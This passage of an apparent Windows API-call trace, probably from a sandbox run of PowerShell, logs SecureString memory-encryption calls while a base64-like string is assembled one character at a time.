[5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.364] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.364] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0137.365] SysStringLen (param_1="") returned 0x8 [0137.365] SysStringLen (param_1="Y") returned 0x8 [0137.365] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.365] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.365] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.365] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.365] SysStringLen (param_1="YW") returned 0x8 [0137.365] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.365] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.365] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.365] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.365] SysStringLen (param_1="YWM") returned 0x8 [0137.365] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.365] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.365] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.365] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="YWM1") returned 0x8 [0137.366] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.366] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.366] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="YWM1O") returned 0x8 [0137.366] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.366] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.366] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.366] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.366] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.366] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.366] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.367] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.367] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.367] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.367] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.367] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.367] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.367] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.367] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.367] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.367] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.367] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.367] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.367] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.367] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.367] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.367] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.367] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.368] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.368] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.368] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.368] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.368] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.368] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.368] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.368] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.368] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.369] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.369] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.369] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.369] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.369] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.369] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.369] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.369] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.370] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.370] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.370] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.370] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.370] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.370] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.370] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.370] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.370] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.371] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.371] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.371] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.371] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.371] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.371] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.371] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.371] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.371] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.371] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.371] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.371] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.372] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.372] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.372] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.372] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.372] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.372] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.372] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.372] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.372] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.372] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.373] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.373] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.373] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.373] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.373] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.373] SysStringLen 